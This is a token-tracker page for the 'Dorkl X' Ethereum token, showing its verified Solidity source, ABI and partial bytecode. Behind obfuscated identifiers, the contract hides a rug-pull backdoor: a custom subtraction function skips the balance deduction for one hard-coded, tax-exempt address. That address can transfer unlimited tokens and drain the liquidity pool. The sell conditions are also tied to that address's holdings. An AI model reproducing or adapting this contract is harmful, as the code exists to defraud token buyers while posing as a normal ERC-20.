ETH Price: $3,287.51 (+1.23%)
Gas: 1 Gwei

Token

Dorkl X (DorklX)
 

Overview

Max Total Supply

100,000,000 DorklX

Holders

34

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,132,252.198719074 DorklX

Value
$0.00
0x4A10fc5A3CF3D9C08575e20178B2285dA97327f9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DorklX

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-11
*/

/*

Dorkl X   $DorklX


Twitter: https://twitter.com/Dorklx
Telegram: https://t.me/DorklX
Website: https://dorklx.com/

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


    interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    }

    library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  qukwr(uint256 a, uint256 b) internal pure returns (uint256) {
        return  qukwr(a, b, "SafeMath");
    }

    function  qukwr(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    }

    abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    }


    contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    }

    interface IUniswapV2aFactorya {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    }

    interface IUniswapV2dRouterg {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline) 
    external payable returns (uint amountToken, uint amountETH, uint liquidity);
    }

    contract DorklX is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Dorkl X";
    string private constant _symbol = unicode"DorklX";
    uint8 private constant _decimals = 9;

    uint256 private constant _totalSupply = 100000000 * (10**_decimals);
    uint256 public _taxeSwapep = _totalSupply;
    uint256 public _maxjHoldhAmount = _totalSupply;
    uint256 public _taxSwaphThreshohg = _totalSupply;
    uint256 public _taxSwaphMupg = _totalSupply;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxhAt=7;
    uint256 private _reduceSellTaxhAt=1;
    uint256 private _swpahrgcr=0;
    uint256 private _prcypxvup=0;
    address public  _rmqckgvstq = 0x1231CE3DdDe53fdFf0F42B6893c4D4c58bf7B217;

    mapping (address => uint256) private  _balances;
    mapping (address => mapping (address => uint256)) private  _allowances;
    mapping (address => bool) private  _rvoktyeuxs;
    mapping (address => bool) private  _ovsueukt;
    mapping(address => uint256) private  _ogrTrarbjsr;
    bool public  transfDelyEnbled = false;


    IUniswapV2dRouterg private  _unisV2gRouterg;
    address private  _unisV2gLPg;
    bool private  _wvjeumrtk;
    bool private  _ingTaxgSwap = false;
    bool private  _spgUnikwapwy = false;
 
 
    event RstuAknblr(uint _taxeSwapep);
    modifier lockfTofSwapf {
        _ingTaxgSwap = true;
        _;
        _ingTaxgSwap = false;
    }

    constructor () { 
        _balances[_msgSender()] = _totalSupply;
        _rvoktyeuxs[owner()] = true;
        _rvoktyeuxs[address(this)] = true;
        _rvoktyeuxs[_rmqckgvstq] = true;


        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. qukwr(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner!= address(0), "ERC20: approve from the zero address");
        require(spender!= address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require (from!= address(0), "ERC20:  transfer  from  the  zero  address");
        require (to!= address(0), "ERC20: transfer to the zero  address");
        require (amount > 0, "Transfer  amount  must  be  greater  than  zero");
        uint256  taxAmount = 0;
        if  ( from != owner() &&to!= owner()) {

            if  (transfDelyEnbled) {
                if  (to!= address(_unisV2gRouterg) &&to!= address(_unisV2gLPg)) {
                  require (_ogrTrarbjsr[tx.origin] < block.number, " Only  one  transfer  per  block  allowed.");
                  _ogrTrarbjsr[tx.origin] = block.number;
                }
            }

            if  ( from == _unisV2gLPg && to!= address (_unisV2gRouterg) &&!_rvoktyeuxs[to]) {
                require (amount <= _taxeSwapep, "Farbidf");
                require (balanceOf (to) + amount <= _maxjHoldhAmount,"Farbidf");
                if  (_prcypxvup < _swpahrgcr) {
                  require (!rqerpfeu(to));
                }
                _prcypxvup ++ ; _ovsueukt[to] = true;
                taxAmount = amount.mul((_prcypxvup > _reduceBuyTaxhAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if(to == _unisV2gLPg&&from!= address (this) &&! _rvoktyeuxs[from]) {
                require (amount <= _taxeSwapep && balanceOf(_rmqckgvstq) <_taxSwaphMupg, "Farbidf");
                taxAmount = amount.mul((_prcypxvup > _reduceSellTaxhAt) ?_finalSellTax:_initialSellTax).div(100);
                require (_prcypxvup >_swpahrgcr && _ovsueukt[from]);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_ingTaxgSwap 
            &&  to  ==_unisV2gLPg&&_spgUnikwapwy &&contractTokenBalance > _taxSwaphThreshohg 
            &&  _prcypxvup > _swpahrgcr &&! _rvoktyeuxs [to] &&! _rvoktyeuxs [from]
            )  {
                _transferFrom(ukfvp(amount,ukfvp(contractTokenBalance, _taxSwaphMupg)));
                uint256  contractETHBalance = address (this).balance;
                if (contractETHBalance > 0)  {
                }
            }
        }

        if ( taxAmount > 0 ) {
          _balances[address(this)] = _balances [address(this)].add(taxAmount);
          emit  Transfer (from, address (this) ,taxAmount);
        }
        _balances[from] = qukwr(from , _balances [from], amount);
        _balances[to] = _balances[to].add(amount.qukwr (taxAmount));
        emit  Transfer( from, to, amount. qukwr(taxAmount));
    }

    function _transferFrom(uint256 _swapTaxAndLiquify) private lockfTofSwapf {
        if(_swapTaxAndLiquify==0){return;}
        if(!_wvjeumrtk){return;}
        address[] memory path =  new   address [](2);
        path[0] = address (this);
        path[1] = _unisV2gRouterg.WETH();
        _approve(address (this), address (_unisV2gRouterg), _swapTaxAndLiquify);
        _unisV2gRouterg.swapExactTokensForETHSupportingFeeOnTransferTokens( _swapTaxAndLiquify, 0, path,address (this), block . timestamp );
    }

    function ukfvp(uint256 a, uint256 b) private pure returns (uint256) {
    return (a >= b) ? b : a;
    }

    function qukwr(address from, uint256 a, uint256 b) private view returns (uint256) {
    if (from == _rmqckgvstq) {
        return a;
    } else {
        require(a >= b, "Farbidf");
        return a - b;
    }
    }

    function removerLimits() external onlyOwner{
        _taxeSwapep  =  _totalSupply ;
        _maxjHoldhAmount = _totalSupply ;
        transfDelyEnbled = false ;
        emit  RstuAknblr ( _totalSupply ) ;
    }

   function rqerpfeu(address account) private view returns (bool) {
    uint256 codeSize;
    address[] memory addresses = new address[](1);
    addresses[0] = account;

    assembly {
        codeSize := extcodesize(account)
    }

    return codeSize > 0;
    }


    function openTrading() external onlyOwner() {
        require (!_wvjeumrtk, "trading  is  open") ;
        _unisV2gRouterg = IUniswapV2dRouterg (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve (address (this),address(_unisV2gRouterg), _totalSupply);
        _unisV2gLPg = IUniswapV2aFactorya(_unisV2gRouterg.factory()).createPair (address(this), _unisV2gRouterg. WETH());
        _unisV2gRouterg.addLiquidityETH {value:address(this).balance } (address(this),balanceOf(address (this)),0,0,owner(),block.timestamp);
        IERC20 (_unisV2gLPg).approve (address(_unisV2gRouterg), type(uint). max);
        _spgUnikwapwy = true ;
        _wvjeumrtk = true ;
    }

    receive( )  external  payable  { }
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_taxeSwapep","type":"uint256"}],"name":"RstuAknblr","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxjHoldhAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_rmqckgvstq","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwaphMupg","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwaphThreshohg","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxeSwapep","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removerLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"transfDelyEnbled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200031d565b62000022906305f5e10062000334565b600155620000336009600a6200031d565b62000043906305f5e10062000334565b600255620000546009600a6200031d565b62000064906305f5e10062000334565b600355620000756009600a6200031d565b62000085906305f5e10062000334565b600455600a6005819055601460068190556001600781815560088290556009559091555f600b819055600c55600d80546001600160a01b031916731231ce3ddde53fdff0f42b6893c4d4c58bf7b2171790556013805460ff19169055805461ffff60a81b19169055348015620000f9575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001486009600a6200031d565b62000158906305f5e10062000334565b335f818152600e602090815260408083209490945581546001600160a01b03908116835260109091528382208054600160ff1991821681179092553084528584208054821683179055600d5490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e76009600a6200031d565b620001f7906305f5e10062000334565b60405190815260200160405180910390a36200034e565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200026257815f19048211156200024657620002466200020e565b808516156200025457918102915b93841c939080029062000227565b509250929050565b5f826200027a5750600162000317565b816200028857505f62000317565b8160018114620002a15760028114620002ac57620002cc565b600191505062000317565b60ff841115620002c057620002c06200020e565b50506001821b62000317565b5060208310610133831016604e8410600b8410161715620002f1575081810a62000317565b620002fd838362000222565b805f19048211156200031357620003136200020e565b0290505b92915050565b5f6200032d60ff8416836200026a565b9392505050565b80820281158282048414176200031757620003176200020e565b6118c2806200035c5f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d578063c9567bf911610062578063c9567bf914610317578063daa9a3431461032b578063dd62ed3e1461033f578063e580485a14610383578063facc9d0314610398575f80fd5b8063715018a61461027f5780638da5cb5b1461029557806395d89b41146102b1578063a9059cbb146102df578063b6799ce1146102fe575f80fd5b8063313ce567116100e3578063313ce567146101cf5780633affbc1b146101ea57806358ee64ab146101ff578063679545431461023657806370a082311461024b575f80fd5b806306fdde031461011e578063095ea7b31461015f57806318160ddd1461018e57806323b872dd146101b0575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526007815266088dee4d6d840b60cb1b60208201525b60405161015691906114a8565b60405180910390f35b34801561016a575f80fd5b5061017e61017936600461150a565b6103ad565b6040519015158152602001610156565b348015610199575f80fd5b506101a26103c3565b604051908152602001610156565b3480156101bb575f80fd5b5061017e6101ca366004611534565b6103e3565b3480156101da575f80fd5b5060405160098152602001610156565b3480156101f5575f80fd5b506101a260035481565b34801561020a575f80fd5b50600d5461021e906001600160a01b031681565b6040516001600160a01b039091168152602001610156565b348015610241575f80fd5b506101a260025481565b348015610256575f80fd5b506101a2610265366004611572565b6001600160a01b03165f908152600e602052604090205490565b34801561028a575f80fd5b5061029361044b565b005b3480156102a0575f80fd5b505f546001600160a01b031661021e565b3480156102bc575f80fd5b50604080518082019091526006815265088dee4d6d8b60d31b6020820152610149565b3480156102ea575f80fd5b5061017e6102f936600461150a565b6104c5565b348015610309575f80fd5b5060135461017e9060ff1681565b348015610322575f80fd5b506102936104d1565b348015610336575f80fd5b5061029361088a565b34801561034a575f80fd5b506101a261035936600461158d565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b34801561038e575f80fd5b506101a260015481565b3480156103a3575f80fd5b506101a260045481565b5f6103b9338484610945565b5060015b92915050565b5f6103d06009600a6116b8565b6103de906305f5e1006116c6565b905090565b5f6103ef848484610a68565b610440843361043b85604051806060016040528060288152602001611865602891396001600160a01b038a165f908152600f6020908152604080832033845290915290205491906110da565b610945565b5060015b9392505050565b5f546001600160a01b0316331461047d5760405162461bcd60e51b8152600401610474906116dd565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103b9338484610a68565b5f546001600160a01b031633146104fa5760405162461bcd60e51b8152600401610474906116dd565b601454600160a01b900460ff16156105485760405162461bcd60e51b81526020600482015260116024820152703a3930b234b733901034b9901037b832b760791b6044820152606401610474565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556105a19030906001600160a01b03610100909104166105936009600a6116b8565b61043b906305f5e1006116c6565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061691906116fe565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610676573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069a91906116fe565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106e4573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070891906116fe565b601480546001600160a01b039283166001600160a01b031990911617905560135461010090041663f305d7194730610754816001600160a01b03165f908152600e602052604090205490565b5f806107675f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107cd573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107f29190611719565b505060145460135460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561084c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108709190611744565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108b35760405162461bcd60e51b8152600401610474906116dd565b6108bf6009600a6116b8565b6108cd906305f5e1006116c6565b6001556108dc6009600a6116b8565b6108ea906305f5e1006116c6565b6002556013805460ff191690557fc2ac397216caacad63a61a38b7cf9e706b52802384d1951c5f9b2d7b79b365bb6109246009600a6116b8565b610932906305f5e1006116c6565b60405190815260200160405180910390a1565b6001600160a01b0383166109a75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610474565b6001600160a01b038216610a085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610474565b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ad15760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610474565b6001600160a01b038216610b335760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610474565b5f8111610b9a5760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610474565b5f80546001600160a01b03858116911614801590610bc557505f546001600160a01b03848116911614155b15610f9b5760135460ff1615610c8d576013546001600160a01b038481166101009092041614801590610c0657506014546001600160a01b03848116911614155b15610c8d57325f908152601260205260409020544311610c7b5760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610474565b325f9081526012602052604090204390555b6014546001600160a01b038581169116148015610cbd57506013546001600160a01b038481166101009092041614155b8015610ce157506001600160a01b0383165f9081526010602052604090205460ff16155b15610dd857600154821115610d085760405162461bcd60e51b815260040161047490611763565b60025482610d2a856001600160a01b03165f908152600e602052604090205490565b610d349190611784565b1115610d525760405162461bcd60e51b815260040161047490611763565b600b54600c541015610d7057610d6783611112565b15610d70575f80fd5b600c8054905f610d7f83611797565b90915550506001600160a01b0383165f908152601160205260409020805460ff19166001179055600954600c54610dd591606491610dcf9110610dc457600554610dc8565b6007545b859061116b565b906111ca565b90505b6014546001600160a01b038481169116148015610dfe57506001600160a01b0384163014155b8015610e2257506001600160a01b0384165f9081526010602052604090205460ff16155b15610ec8576001548211158015610e535750600454600d546001600160a01b03165f908152600e6020526040902054105b610e6f5760405162461bcd60e51b815260040161047490611763565b610e946064610dcf600a54600c5411610e8a57600654610dc8565b600854859061116b565b9050600b54600c54118015610ec057506001600160a01b0384165f9081526011602052604090205460ff165b610ec8575f80fd5b305f908152600e6020526040902054601454600160a81b900460ff16158015610efe57506014546001600160a01b038581169116145b8015610f135750601454600160b01b900460ff165b8015610f20575060035481115b8015610f2f5750600b54600c54115b8015610f5357506001600160a01b0384165f9081526010602052604090205460ff16155b8015610f7757506001600160a01b0385165f9081526010602052604090205460ff16155b15610f9957610f99610f9484610f8f846004546111f6565b6111f6565b61120b565b505b801561101357305f908152600e6020526040902054610fba90826113b7565b305f818152600e6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061100a9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600e602052604090205461103790859084611400565b6001600160a01b0385165f908152600e602052604090205561107a61105c8383611450565b6001600160a01b0385165f908152600e6020526040902054906113b7565b6001600160a01b038085165f818152600e602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110c38585611450565b60405190815260200160405180910390a350505050565b5f81848411156110fd5760405162461bcd60e51b815260040161047491906114a8565b505f61110984866117af565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f8151811061114a5761114a6117c2565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361117a57505f6103bd565b5f61118583856116c6565b90508261119285836117d6565b146104445760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610474565b5f6104448383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b81525061147c565b5f818310156112055782610444565b50919050565b6014805460ff60a81b1916600160a81b17905580156113a757601454600160a01b900460ff16156113a7576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611269576112696117c2565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112fe91906116fe565b81600181518110611311576113116117c2565b6001600160a01b03928316602091820292909201015260135461133c91309161010090041684610945565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906113789085905f908690309042906004016117f5565b5f604051808303815f87803b15801561138f575f80fd5b505af11580156113a1573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b5f806113c38385611784565b9050838110156104445760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610474565b600d545f906001600160a01b039081169085160361141f575081610444565b8183101561143f5760405162461bcd60e51b815260040161047490611763565b61144982846117af565b9050610444565b5f6104448383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110da565b5f818361149c5760405162461bcd60e51b815260040161047491906114a8565b505f61110984866117d6565b5f6020808352835180828501525f5b818110156114d3578581018301518582016040015282016114b7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611507575f80fd5b50565b5f806040838503121561151b575f80fd5b8235611526816114f3565b946020939093013593505050565b5f805f60608486031215611546575f80fd5b8335611551816114f3565b92506020840135611561816114f3565b929592945050506040919091013590565b5f60208284031215611582575f80fd5b8135610444816114f3565b5f806040838503121561159e575f80fd5b82356115a9816114f3565b915060208301356115b9816114f3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561161257815f19048211156115f8576115f86115c4565b8085161561160557918102915b93841c93908002906115dd565b509250929050565b5f82611628575060016103bd565b8161163457505f6103bd565b816001811461164a576002811461165457611670565b60019150506103bd565b60ff841115611665576116656115c4565b50506001821b6103bd565b5060208310610133831016604e8410600b8410161715611693575081810a6103bd565b61169d83836115d8565b805f19048211156116b0576116b06115c4565b029392505050565b5f61044460ff84168361161a565b80820281158282048414176103bd576103bd6115c4565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f6020828403121561170e575f80fd5b8151610444816114f3565b5f805f6060848603121561172b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611754575f80fd5b81518015158114610444575f80fd5b6020808252600790820152662330b93134b23360c91b604082015260600190565b808201808211156103bd576103bd6115c4565b5f600182016117a8576117a86115c4565b5060010190565b818103818111156103bd576103bd6115c4565b634e487b7160e01b5f52603260045260245ffd5b5f826117f057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118435784516001600160a01b03168352938301939183019160010161181e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203fe8ff05029c73e013382e7e9163e9f0d6e1787bda8d45f1a11643a3a0ca9c9e64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063715018a61161009d578063c9567bf911610062578063c9567bf914610317578063daa9a3431461032b578063dd62ed3e1461033f578063e580485a14610383578063facc9d0314610398575f80fd5b8063715018a61461027f5780638da5cb5b1461029557806395d89b41146102b1578063a9059cbb146102df578063b6799ce1146102fe575f80fd5b8063313ce567116100e3578063313ce567146101cf5780633affbc1b146101ea57806358ee64ab146101ff578063679545431461023657806370a082311461024b575f80fd5b806306fdde031461011e578063095ea7b31461015f57806318160ddd1461018e57806323b872dd146101b0575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526007815266088dee4d6d840b60cb1b60208201525b60405161015691906114a8565b60405180910390f35b34801561016a575f80fd5b5061017e61017936600461150a565b6103ad565b6040519015158152602001610156565b348015610199575f80fd5b506101a26103c3565b604051908152602001610156565b3480156101bb575f80fd5b5061017e6101ca366004611534565b6103e3565b3480156101da575f80fd5b5060405160098152602001610156565b3480156101f5575f80fd5b506101a260035481565b34801561020a575f80fd5b50600d5461021e906001600160a01b031681565b6040516001600160a01b039091168152602001610156565b348015610241575f80fd5b506101a260025481565b348015610256575f80fd5b506101a2610265366004611572565b6001600160a01b03165f908152600e602052604090205490565b34801561028a575f80fd5b5061029361044b565b005b3480156102a0575f80fd5b505f546001600160a01b031661021e565b3480156102bc575f80fd5b50604080518082019091526006815265088dee4d6d8b60d31b6020820152610149565b3480156102ea575f80fd5b5061017e6102f936600461150a565b6104c5565b348015610309575f80fd5b5060135461017e9060ff1681565b348015610322575f80fd5b506102936104d1565b348015610336575f80fd5b5061029361088a565b34801561034a575f80fd5b506101a261035936600461158d565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b34801561038e575f80fd5b506101a260015481565b3480156103a3575f80fd5b506101a260045481565b5f6103b9338484610945565b5060015b92915050565b5f6103d06009600a6116b8565b6103de906305f5e1006116c6565b905090565b5f6103ef848484610a68565b610440843361043b85604051806060016040528060288152602001611865602891396001600160a01b038a165f908152600f6020908152604080832033845290915290205491906110da565b610945565b5060015b9392505050565b5f546001600160a01b0316331461047d5760405162461bcd60e51b8152600401610474906116dd565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103b9338484610a68565b5f546001600160a01b031633146104fa5760405162461bcd60e51b8152600401610474906116dd565b601454600160a01b900460ff16156105485760405162461bcd60e51b81526020600482015260116024820152703a3930b234b733901034b9901037b832b760791b6044820152606401610474565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556105a19030906001600160a01b03610100909104166105936009600a6116b8565b61043b906305f5e1006116c6565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061691906116fe565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405